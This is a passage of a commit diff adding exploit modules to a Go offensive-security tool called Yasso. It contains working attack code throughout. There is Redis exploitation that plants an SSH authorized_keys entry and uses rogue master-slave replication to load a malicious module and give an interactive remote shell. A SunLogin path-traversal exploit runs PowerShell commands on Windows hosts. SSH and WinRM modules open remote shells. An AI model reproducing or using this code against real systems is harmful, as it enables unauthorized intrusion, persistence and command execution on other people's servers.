||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
logger.Info("restore the original dbfilename")
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
|
||||
func keyWrite(conn net.Conn, filename string) (bool, error) {
|
||||
var flag = false
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err := plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err := plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
key, err := readKeyFile(filename)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
// 保存
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
// 恢复原始的dbfilename
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = plugin.RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
logger.Info("Restore the original dbfilename")
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
|
||||
func readKeyFile(filename string) (string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func soWrite(client *redis.Client, lHost string, lPort int, soPath string) {
|
||||
// 设置so文件存放路径
|
||||
var dest string
|
||||
if soPath == "" {
|
||||
dest = "/tmp/net.so"
|
||||
} else {
|
||||
dest = soPath
|
||||
}
|
||||
rexec(fmt.Sprintf("slaveof %v %v", lHost, lPort), client)
|
||||
logger.Info(fmt.Sprintf("slaveof %v %v", lHost, lPort))
|
||||
dbfilename, dir := getInformation(client)
|
||||
filenameDir, filename := filepath.Split(dest)
|
||||
rexec(fmt.Sprintf("config set dir %v", filenameDir), client)
|
||||
rexec(fmt.Sprintf("config set dbfilename %v", filename), client)
|
||||
// 做监听
|
||||
listenLocal(fmt.Sprintf("%v:%v", lHost, lPort))
|
||||
// 重置数据库
|
||||
reStore(client, dir, dbfilename)
|
||||
// 加载so文件
|
||||
s := rexec(fmt.Sprintf("module load %v", dest), client)
|
||||
if s == "need unload" {
|
||||
logger.Info("try to unload")
|
||||
rexec(fmt.Sprintf("module unload system"), client)
|
||||
logger.Info("to the load")
|
||||
rexec(fmt.Sprintf("module load %v", dest), client)
|
||||
}
|
||||
logger.Info("module load success")
|
||||
// 循环执行命令
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
for {
|
||||
var cmd string
|
||||
fmt.Printf("[redis-rce]» ")
|
||||
cmd, _ = reader.ReadString('\n')
|
||||
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
|
||||
if cmd == "exit" {
|
||||
cmd = fmt.Sprintf("rm %v", dest)
|
||||
run(fmt.Sprintf(cmd), client)
|
||||
rexec(fmt.Sprintf("module unload system"), client)
|
||||
logger.Info("module unload system break redis-rce")
|
||||
break
|
||||
}
|
||||
receive(run(fmt.Sprintf(cmd), client))
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func initRedisClient(host string, port int, pass string) *redis.Client {
|
||||
rdb := redis.NewClient(&redis.Options{
|
||||
Addr: fmt.Sprintf("%v:%v", host, port),
|
||||
Password: pass, // no password set
|
||||
DB: 0, // use default DB
|
||||
})
|
||||
return rdb
|
||||
}
|
||||
|
||||
func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) {
|
||||
defer wg.Done()
|
||||
buf := make([]byte, 1024)
|
||||
for {
|
||||
time.Sleep(1 * time.Second)
|
||||
n, err := c.Read(buf)
|
||||
if err == io.EOF || n == 0 {
|
||||
logger.Info("master-slave replication process is complete")
|
||||
return
|
||||
}
|
||||
switch {
|
||||
case strings.Contains(string(buf[:n]), "PING"):
|
||||
_, _ = c.Write([]byte("+PONG\r\n"))
|
||||
//Send("+PONG")
|
||||
case strings.Contains(string(buf[:n]), "REPLCONF"):
|
||||
_, _ = c.Write([]byte("+OK\r\n"))
|
||||
//Send("+OK")
|
||||
case strings.Contains(string(buf[:n]), "SYNC"):
|
||||
resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符
|
||||
resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n"
|
||||
rep := []byte(resp)
|
||||
rep = append(rep, payload...)
|
||||
rep = append(rep, []byte("\r\n")...)
|
||||
_, _ = c.Write(rep)
|
||||
//Send(resp)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func rexec(cmd string, client *redis.Client) string {
|
||||
args := strings.Fields(cmd)
|
||||
var argsInterface []interface{}
|
||||
for _, arg := range args {
|
||||
argsInterface = append(argsInterface, arg)
|
||||
}
|
||||
//Send(cmd)
|
||||
val, err := client.Do(context.Background(), argsInterface...).Result()
|
||||
return check(val, err)
|
||||
}
|
||||
|
||||
func check(val interface{}, err error) string {
|
||||
if err != nil {
|
||||
if err == redis.Nil {
|
||||
logger.Fatal("key is not exist")
|
||||
return ""
|
||||
}
|
||||
logger.Fatal(fmt.Sprintf("%v", err.Error()))
|
||||
if err.Error() == "error loading the extension. Please check the server logs." {
|
||||
return "need unload"
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
switch v := val.(type) {
|
||||
case string:
|
||||
return v
|
||||
case []string:
|
||||
return "list result:" + strings.Join(v, " ")
|
||||
case []interface{}:
|
||||
s := ""
|
||||
for _, i := range v {
|
||||
s += i.(string) + " "
|
||||
}
|
||||
return s
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func run(cmd string, client *redis.Client) string {
|
||||
ctx := context.Background()
|
||||
val, err := client.Do(ctx, "system.exec", cmd).Result()
|
||||
return check(val, err)
|
||||
}
|
||||
|
||||
func receive(str string) {
|
||||
str = strings.TrimSpace(str)
|
||||
fmt.Println(fmt.Sprintf("%v", str))
|
||||
}
|
||||
|
||||
func getInformation(client *redis.Client) (string, string) {
|
||||
r := rexec("config get dbfilename", client)
|
||||
if !strings.HasPrefix(r, "dbfilename") {
|
||||
return "", ""
|
||||
}
|
||||
dbfilename := r[11 : len(r)-1]
|
||||
d := rexec("config get dir", client)
|
||||
if !strings.HasPrefix(d, "dir") {
|
||||
return "", ""
|
||||
}
|
||||
dir := d[4 : len(d)-1]
|
||||
return dbfilename, dir
|
||||
}
|
||||
|
||||
func listenLocal(address string) {
|
||||
var wg = &sync.WaitGroup{}
|
||||
wg.Add(1)
|
||||
addr, err := net.ResolveTCPAddr("tcp", address)
|
||||
if err != nil {
|
||||
logger.Fatal("resolve tcp address failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
listen, err := net.ListenTCP("tcp", addr)
|
||||
if err != nil {
|
||||
logger.Fatal("listen tcp address failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
defer func(listen *net.TCPListener) {
|
||||
err := listen.Close()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}(listen)
|
||||
logger.Info(fmt.Sprintf("start listen in %v", address))
|
||||
c, err := listen.AcceptTCP()
|
||||
if err != nil {
|
||||
logger.Fatal("accept tcp failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
go masterSlave(wg, c)
|
||||
wg.Wait()
|
||||
_ = c.Close()
|
||||
}
|
||||
|
||||
func reStore(client *redis.Client, dir, dbfilename string) {
|
||||
success := rexec("slaveof no one", client)
|
||||
if strings.Contains(success, "OK") {
|
||||
logger.Info("restore file success")
|
||||
}
|
||||
rexec(fmt.Sprintf("config set dir %v", dir), client)
|
||||
rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client)
|
||||
}
|
||||
BIN
pkg/exploit/redis/static/exp.so
Normal file
BIN
pkg/exploit/redis/static/exp.so
Normal file
Binary file not shown.
76
pkg/exploit/ssh/ssh.go
Normal file
76
pkg/exploit/ssh/ssh.go
Normal file
@@ -0,0 +1,76 @@
|
||||
package ssh
|
||||
|
||||
import (
|
||||
config2 "Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/plugin"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"fmt"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
func ExploitSSH(exploits config.Exploits, key string) {
|
||||
var SshConn *ssh.Client
|
||||
var status bool
|
||||
var err error
|
||||
if key == "" {
|
||||
SshConn, status, err = plugin.SshConnByUser(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1000 * time.Millisecond,
|
||||
}, exploits.User, exploits.Pass)
|
||||
} else {
|
||||
SshConn, status, err = plugin.SshConnByKey(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1000 * time.Millisecond,
|
||||
PublicKey: key,
|
||||
}, exploits.User)
|
||||
}
|
||||
if err != nil || status == false {
|
||||
logger.Fatal("exploit ssh has an error conn to ssh failed")
|
||||
return
|
||||
}
|
||||
loginSSH(SshConn) // 连接到ssh
|
||||
}
|
||||
|
||||
func loginSSH(client *ssh.Client) {
|
||||
defer client.Close()
|
||||
session, err := client.NewSession()
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("new ssh session failed %v", err))
|
||||
return
|
||||
}
|
||||
defer session.Close()
|
||||
session.Stdout = os.Stdout
|
||||
session.Stderr = os.Stderr
|
||||
session.Stdin = os.Stdin
|
||||
modes := ssh.TerminalModes{
|
||||
ssh.ECHO: 1,
|
||||
ssh.TTY_OP_ISPEED: 14400,
|
||||
ssh.TTY_OP_OSPEED: 14400,
|
||||
ssh.VSTATUS: 1,
|
||||
}
|
||||
fd := int(os.Stdin.Fd())
|
||||
oldState, err := terminal.MakeRaw(fd)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("terminal failed %v", err))
|
||||
}
|
||||
defer terminal.Restore(fd, oldState)
|
||||
w, h, err := terminal.GetSize(fd)
|
||||
if err = session.RequestPty("xterm-256color", h, w, modes); err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Session Request new xterm failed %v", err))
|
||||
return
|
||||
}
|
||||
if err = session.Shell(); err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Session start shell failed %v", err))
|
||||
return
|
||||
}
|
||||
if err = session.Wait(); err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Session wait failed %v", err))
|
||||
return
|
||||
}
|
||||
}
|
||||
66
pkg/exploit/sunlogin/sunlogin.go
Normal file
66
pkg/exploit/sunlogin/sunlogin.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package sunlogin
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"fmt"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"time"
|
||||
)
|
||||
|
||||
func ExploitSunLogin(exploits config.Exploits, Command string) {
|
||||
addr := fmt.Sprintf("%v:%v", exploits.Hostname, exploits.Port)
|
||||
verify := getVerify(addr)
|
||||
if Command != "" {
|
||||
re := runCmd(Command, addr, verify)
|
||||
if re == "" {
|
||||
logger.Fatal(fmt.Sprintf("exploit %s failed", addr))
|
||||
return
|
||||
} else {
|
||||
logger.Info(re)
|
||||
}
|
||||
} else {
|
||||
logger.Fatal("exploit need command params")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func getVerify(addr string) string { //获取Verify认证
|
||||
resp, err := http.Get(fmt.Sprintf("http://%s/cgi-bin/rpc?action=verify-haras", addr))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
reg := regexp.MustCompile(`"verify_string":"(.*?)"`)
|
||||
result := reg.FindAllSubmatch(b, 1)
|
||||
if len(result) > 0 {
|
||||
if len(result[0]) == 2 {
|
||||
return string(result[0][1])
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
func runCmd(cmd string, addr string, verify string) string {
|
||||
cmd = url.QueryEscape(cmd)
|
||||
target := "http://" + addr + `/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+` + cmd
|
||||
req, err := http.NewRequest("GET", target, nil)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
req.Header.Add("Cookie", "CID="+verify)
|
||||
var client = http.DefaultClient
|
||||
client.Timeout = 5 * time.Second
|
||||
resp, _ := client.Do(req)
|
||||
if err != nil || resp == nil {
|
||||
return ""
|
||||
} else {
|
||||
str, _ := io.ReadAll(resp.Body)
|
||||
str, _ = simplifiedchinese.GBK.NewDecoder().Bytes(str)
|
||||
//fmt.Println(string(str))
|
||||
return string(str)
|
||||
}
|
||||
}
|
||||
16
pkg/exploit/sunlogin/sunlogin_test.go
Normal file
16
pkg/exploit/sunlogin/sunlogin_test.go
Normal file
@@ -0,0 +1,16 @@
|
||||
package sunlogin
|
||||
|
||||
import (
|
||||
"Yasso/pkg/exploit/config"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func Test(t *testing.T) {
|
||||
ExploitSunLogin(config.Exploits{
|
||||
Hostname: "192.168.248.1",
|
||||
Port: 49690,
|
||||
User: "",
|
||||
Pass: "",
|
||||
}, "whoami")
|
||||
|
||||
}
|
||||
62
pkg/exploit/winrm/winrm.go
Normal file
62
pkg/exploit/winrm/winrm.go
Normal file
@@ -0,0 +1,62 @@
|
||||
package winrm
|
||||
|
||||
import (
|
||||
config2 "Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/plugin"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"fmt"
|
||||
"github.com/masterzen/winrm"
|
||||
"io"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
func ExploitWinRM(exploits config.Exploits, Command string, isShell int) {
|
||||
WinRMConn, status, err := plugin.WinRMAuth(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1000 * time.Millisecond,
|
||||
}, exploits.User, exploits.Pass)
|
||||
|
||||
if err != nil || status == false {
|
||||
return
|
||||
}
|
||||
switch isShell {
|
||||
case 1:
|
||||
WinRMShell(WinRMConn, Command, false)
|
||||
case 2:
|
||||
WinRMShell(WinRMConn, Command, true)
|
||||
default:
|
||||
logger.Fatal("not found exploit method")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func WinRMShell(client *winrm.Client, Command string, shell bool) {
|
||||
if shell == true {
|
||||
shell, err := client.CreateShell()
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("create shell failed %v", err))
|
||||
return
|
||||
}
|
||||
var cmd *winrm.Command
|
||||
cmd, err = shell.Execute("cmd.exe")
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("[!] create shell failed %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
go io.Copy(cmd.Stdin, os.Stdin)
|
||||
go io.Copy(os.Stdout, cmd.Stdout)
|
||||
go io.Copy(os.Stderr, cmd.Stderr)
|
||||
cmd.Wait()
|
||||
shell.Close()
|
||||
} else {
|
||||
_, err := client.Run(Command, os.Stdout, os.Stderr)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("[!] Execute Command failed %v", err))
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user